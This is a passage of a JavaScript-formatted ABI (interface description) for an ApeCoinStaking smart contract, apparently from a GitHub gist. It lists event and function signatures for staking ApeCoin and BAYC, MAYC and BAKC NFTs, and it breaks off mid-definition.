type: "address"
}, {
indexed: true,
internalType: "uint256",
name: "poolId",
type: "uint256"
}, {
indexed: false,
internalType: "uint256",
name: "amount",
type: "uint256"
}, {
indexed: false,
internalType: "uint256",
name: "tokenId",
type: "uint256"
}],
name: "DepositNft",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "address",
name: "user",
type: "address"
}, {
indexed: false,
internalType: "uint256",
name: "amount",
type: "uint256"
}, {
indexed: false,
internalType: "uint256",
name: "mainTypePoolId",
type: "uint256"
}, {
indexed: false,
internalType: "uint256",
name: "mainTokenId",
type: "uint256"
}, {
indexed: false,
internalType: "uint256",
name: "bakcTokenId",
type: "uint256"
}],
name: "DepositPairNft",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "address",
name: "previousOwner",
type: "address"
}, {
indexed: true,
internalType: "address",
name: "newOwner",
type: "address"
}],
name: "OwnershipTransferred",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "uint256",
name: "poolId",
type: "uint256"
}, {
indexed: false,
internalType: "uint256",
name: "lastRewardedBlock",
type: "uint256"
}, {
indexed: false,
internalType: "uint256",
name: "stakedAmount",
type: "uint256"
}, {
indexed: false,
internalType: "uint256",
name: "accumulatedRewardsPerShare",
type: "uint256"
}],
name: "UpdatePool",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "address",
name: "user",
type: "address"
}, {
indexed: false,
internalType: "uint256",
name: "amount",
type: "uint256"
}, {
indexed: false,
internalType: "address",
name: "recipient",
type: "address"
}],
name: "Withdraw",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "address",
name: "user",
type: "address"
}, {
indexed: true,
internalType: "uint256",
name: "poolId",
type: "uint256"
}, {
indexed: false,
internalType: "uint256",
name: "amount",
type: "uint256"
}, {
indexed: false,
internalType: "address",
name: "recipient",
type: "address"
}, {
indexed: false,
internalType: "uint256",
name: "tokenId",
type: "uint256"
}],
name: "WithdrawNft",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "address",
name: "user",
type: "address"
}, {
indexed: false,
internalType: "uint256",
name: "amount",
type: "uint256"
}, {
indexed: false,
internalType: "uint256",
name: "mainTypePoolId",
type: "uint256"
}, {
indexed: false,
internalType: "uint256",
name: "mainTokenId",
type: "uint256"
}, {
indexed: false,
internalType: "uint256",
name: "bakcTokenId",
type: "uint256"
}],
name: "WithdrawPairNft",
type: "event"
}, {
inputs: [{
internalType: "uint256",
name: "_poolId",
type: "uint256"
}, {
internalType: "uint256",
name: "_amount",
type: "uint256"
}, {
internalType: "uint256",
name: "_startTimestamp",
type: "uint256"
}, {
internalType: "uint256",
name: "_endTimeStamp",
type: "uint256"
}, {
internalType: "uint256",
name: "_capPerPosition",
type: "uint256"
}],
name: "addTimeRange",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "",
type: "address"
}],
name: "addressPosition",
outputs: [{
internalType: "uint256",
name: "stakedAmount",
type: "uint256"
}, {
internalType: "int256",
name: "rewardsDebt",
type: "int256"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [],
name: "apeCoin",
outputs: [{
internalType: "contract IERC20",
name: "",
type: "address"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "",
type: "uint256"
}, {
internalType: "uint256",
name: "",
type: "uint256"
}],
name: "bakcToMain",
outputs: [{
internalType: "uint248",
name: "tokenId",
type: "uint248"
}, {
internalType: "bool",
name: "isPaired",
type: "bool"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "_recipient",
type: "address"
}],
name: "claimApeCoin",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
components: [{
internalType: "uint128",
name: "mainTokenId",
type: "uint128"
}, {
internalType: "uint128",
name: "bakcTokenId",
type: "uint128"
}],
internalType: "struct ApeCoinStaking.PairNft[]",
name: "_baycPairs",
type: "tuple[]"
}, {
components: [{
internalType: "uint128",
name: "mainTokenId",
type: "uint128"
}, {
internalType: "uint128",
name: "bakcTokenId",
type: "uint128"
}],
internalType: "struct ApeCoinStaking.PairNft[]",
name: "_maycPairs",
type: "tuple[]"
}, {
internalType: "address",
name: "_recipient",
type: "address"
}],
name: "claimBAKC",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint256[]",
name: "_nfts",
type: "uint256[]"
}, {
internalType: "address",
name: "_recipient",
type: "address"
}],
name: "claimBAYC",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint256[]",
name: "_nfts",
type: "uint256[]"
}, {
internalType: "address",
name: "_recipient",
type: "address"
}],
name: "claimMAYC",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [],
name: "claimSelfApeCoin",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
components: [{
internalType: "uint128",
name: "mainTokenId",
type: "uint128"
}, {
internalType: "uint128",
name: "bakcTokenId",
type: "uint128"
}],
internalType: "struct ApeCoinStaking.PairNft[]",
name: "_baycPairs",
type: "tuple[]"
}, {
components: [{
internalType: "uint128",
name: "mainTokenId",
type: "uint128"
}, {
internalType: "uint128",
name: "bakcTokenId",
type: "uint128"
}],
internalType: "struct ApeCoinStaking.PairNft[]",
name: "_maycPairs",
type: "tuple[]"
}],
name: "claimSelfBAKC",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint256[]",
name: "_nfts",
type: "uint256[]"
}],
name: "claimSelfBAYC",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint256[]",
name: "_nfts",
type: "uint256[]"
}],
name: "claimSelfMAYC",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "_amount",
type: "uint256"
}, {
internalType: "address",
name: "_recipient",
type: "address"
}],
name: "depositApeCoin",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
components: [{
internalType: "uint32",
name: "mainTokenId",
type: "uint32"
}, {
internalType: "uint32",
name: "bakcTokenId",
type: "uint32"
}, {
internalType: "uint184",
name: "amount",
type: "uint184"
}],
internalType: "struct ApeCoinStaking.PairNftDepositWithAmount[]",
name: "_baycPairs",
type: "tuple[]"
}, {
components: [{
internalType: "uint32",
name: "mainTokenId",
type: "uint32"
}, {
internalType: "uint32",
name: "bakcTokenId",
type: "uint32"
}, {
internalType: "uint184",
name: "amount",
type: "uint184"
}],
internalType: "struct ApeCoinStaking.PairNftDepositWithAmount[]",
name: "_maycPairs",
type: "tuple[]"
}],
name: "depositBAKC",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
components: [{
internalType: "uint32",
name: "tokenId",
type: "uint32"
}, {
internalType: "uint224",
name: "amount",
type: "uint224"
}],
internalType: "struct ApeCoinStaking.SingleNft[]",
name: "_nfts",
type: "tuple[]"
}],
name: "depositBAYC",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
components: [{
internalType: "uint32",
name: "tokenId",
type: "uint32"
}, {
internalType: "uint224",
name: "amount",
type: "uint224"
}],
internalType: "struct ApeCoinStaking.SingleNft[]",
name: "_nfts",
type: "tuple[]"
}],
name: "depositMAYC",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "_amount",
type: "uint256"
}],
name: "depositSelfApeCoin",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "_address",
type: "address"
}],
name: "getAllStakes",
outputs: [{
components: [{
internalType: "uint256",
name: "poolId",
type: "uint256"
}, {
internalType: "uint256",
name: "tokenId",
type: "uint256"
}, {
internalType: "uint256",
name: "deposited",
type: "uint256"
}, {
internalType: "uint256",
name: "unclaimed",
type: "uint256"
}, {
internalType: "uint256",
name: "rewards24hr",
type: "uint256"
}, {
components: [{
internalType: "uint256",
name: "mainTokenId",
type: "uint256"
}, {
internalType: "uint256",
name: "mainTypePoolId",
type: "uint256"
}],
internalType: "struct ApeCoinStaking.DashboardPair",
name: "pair",
type: "tuple"
}],
internalType: "struct ApeCoinStaking.DashboardStake[]",
name: "",
type: "tuple[]"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "_address",
type: "address"
}],
name: "getApeCoinStake",
outputs: [{
components: [{
internalType: "uint256",
name: "poolId",
type: "uint256"
}, {
internalType: "uint256",
name: "tokenId",
type: "uint256"
}, {
internalType: "uint256",
name: "deposited",
type: "uint256"
}, {
internalType: "uint256",
name: "unclaimed",
type: "uint256"
}, {
internalType: "uint256",
name: "rewards24hr",
type: "uint256"
}, {
components: [{
internalType: "uint256",
name: "mainTokenId",
type: "uint256"
}, {
internalType: "uint256",
name: "mainTypePoolId",
type: "uint256"
}],
internalType: "struct ApeCoinStaking.DashboardPair",
name: "pair",
type: "tuple"
}],
internalType: "struct ApeCoinStaking.DashboardStake",
name: "",
type: "tuple"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "_address",
type: "address"
}],
name: "getBakcStakes",
outputs: [{
components: [{
internalType: "uint256",
name: "poolId",
type: "uint256"
}, {
internalType: "uint256",
name: "tokenId",
type: "uint256"
}, {
internalType: "uint256",
name: "deposited",
type: "uint256"
}, {
internalType: "uint256",
name: "unclaimed",
type: "uint256"
}, {
internalType: "uint256",
name: "rewards24hr",
type: "uint256"
}, {
components: [{
internalType: "uint256",
name: "mainTokenId",
type: "uint256"
}, {
internalType: "uint256",
name: "mainTypePoolId",
type: "uint256"
}],
internalType: "struct ApeCoinStaking.DashboardPair",
name: "pair",
type: "tuple"
}],
internalType: "struct ApeCoinStaking.DashboardStake[]",
name: "",
type: "tuple[]"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "_address",
type: "address"
}],
name: "getBaycStakes",
outputs: [{
components: [{
internalType: "uint256",
name: "poolId",
type: "uint256"
}, {
internalType: "uint256",
name: "tokenId",
type: "uint256"
}, {
internalType: "uint256",
name: "deposited",
type: "uint256"
}, {
internalType: "uint256",
name: "unclaimed",
type: "uint256"
}, {
internalType: "uint256",
name: "rewards24hr",
type: "uint256"
}, {
components: [{
internalType: "uint256",
name: "mainTokenId",
type: "uint256"
}, {
internalType: "uint256",
name: "mainTypePoolId",
type: "uint256"
}],
internalType: "struct ApeCoinStaking.DashboardPair",
name: "pair",
type: "tuple"
}],
internalType: "struct ApeCoinStaking.DashboardStake[]",
name: "",
type: "tuple[]"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "_address",
type: "address"
}],
name: "getMaycStakes",
outputs: [{
components: [{
internalType: "uint256",
name: "poolId",
type: "uint256"
}, {
internalType: "uint256",
name: "tokenId",
type: "uint256"
}, {
internalType: "uint256",
name: "deposited",
type: "uint256"
}, {
internalType: "uint256",
name: "unclaimed",
type: "uint256"
}, {
internalType: "uint256",
name: "rewards24hr",
type: "uint256"
}, {
components: [{
internalType: "uint256",
name: "mainTokenId",
type: "uint256"
}, {
internalType: "uint256",
name: "mainTypePoolId",
type: "uint256"
}],
internalType: "struct ApeCoinStaking.DashboardPair",
name: "pair",
type: "tuple"
}],
internalType: "struct ApeCoinStaking.DashboardStake[]",
name: "",
type: "tuple[]"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [],
name: "getPoolsUI",
outputs: [{
components: [{
internalType: "uint256",
name: "poolId",
type: "uint256"
}, {
internalType: "uint256",
name: "stakedAmount",
type: "uint256"
}, {
components: [{
internalType: "uint48",
name: "startTimestampHour",
type: "uint48"
}, {
internalType: "uint48",
name: "endTimestampHour",
type: "uint48"
}, {
internalType: "uint96",
name: "rewardsPerHour",
type: "uint96"
}, {
internalType: "uint96",
name: "capPerPosition",
type: "uint96"
}],
internalType: "struct ApeCoinStaking.TimeRange",
name: "currentTimeRange",
type: "tuple"
}],
internalType: "struct ApeCoinStaking.PoolUI",
name: "",
type: "tuple"
}, {
components: [{
internalType: "uint256",
name: "poolId",
type: "uint256"
}, {
internalType: "uint256",
name: "stakedAmount",
type: "uint256"
}, {
components: [{
internalType: "uint48",
name: "startTimestampHour",
type: "uint48"
}, {
internalType: "uint48",
name: "endTimestampHour",
type: "uint48"
}, {
internalType: "uint96",
name: "rewardsPerHour",
type: "uint96"
}, {
internalType: "uint96",
name: "capPerPosition",
type: "uint96"
}],
internalType: "struct ApeCoinStaking.TimeRange",
name: "currentTimeRange",
type: "tuple"
}],
internalType: "struct ApeCoinStaking.PoolUI",
name: "",
type: "tuple"
}, {
components: [{
internalType: "uint256",
name: "poolId",
type: "uint256"
}, {
internalType: "uint256",
name: "stakedAmount",
type: "uint256"
}, {
components: [{
internalType: "uint48",
name: "startTimestampHour",
type: "uint48"
}, {
internalType: "uint48",
name: "endTimestampHour",
type: "uint48"
}, {
internalType: "uint96",
name: "rewardsPerHour",
type: "uint96"
}, {
internalType: "uint96",
name: "capPerPosition",
type: "uint96"
}],
internalType: "struct ApeCoinStaking.TimeRange",
name: "currentTimeRange",
type: "tuple"
}],
internalType: "struct ApeCoinStaking.PoolUI",
name: "",
type: "tuple"
}, {
components: [{
internalType: "uint256",
name: "poolId",
type: "uint256"
}, {
internalType: "uint256",
name: "stakedAmount",
type: "uint256"
}, {
components: [{
internalType: "uint48",
name: "startTimestampHour",
type: "uint48"
}, {
internalType: "uint48",
name: "endTimestampHour",
type: "uint48"
}, {
internalType: "uint96",
name: "rewardsPerHour",
type: "uint96"
}, {
internalType: "uint96",
name: "capPerPosition",
type: "uint96"
}],
internalType: "struct ApeCoinStaking.TimeRange",
name: "currentTimeRange",
type: "tuple"
}],
internalType: "struct ApeCoinStaking.PoolUI",
name: "",
type: "tuple"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "_address",
type: "address"
}],
name: "getSplitStakes",
outputs: [{
components: [{
internalType: "uint256",
name: "poolId",
type: "uint256"
}, {
internalType: "uint256",
name: "tokenId",
type: "uint256"
}, {
internalType: "uint256",
name: "deposited",
type: "uint256"
}, {
internalType: "uint256",
name: "unclaimed",
type: "uint256"
}, {
internalType: "uint256",
name: "rewards24hr",
type: "uint256"
}, {
components: [{
internalType: "uint256",
name: "mainTokenId",
type: "uint256"
}, {
internalType: "uint256",
name: "mainTypePoolId",
type: "uint256"
}],
internalType: "struct ApeCoinStaking.DashboardPair",
name: "pair",
type: "tuple"
}],
internalType: "struct ApeCoinStaking.DashboardStake[]",
name: "",
type: "tuple[]"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "_poolId",
type: "uint256"
}, {
internalType: "uint256",
name: "_index",
type: "uint256"
}],
name: "getTimeRangeBy",
outputs: [{
components: [{
internalType: "uint48",
name: "startTimestampHour",
type: "uint48"
}, {
internalType: "uint48",
name: "endTimestampH
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment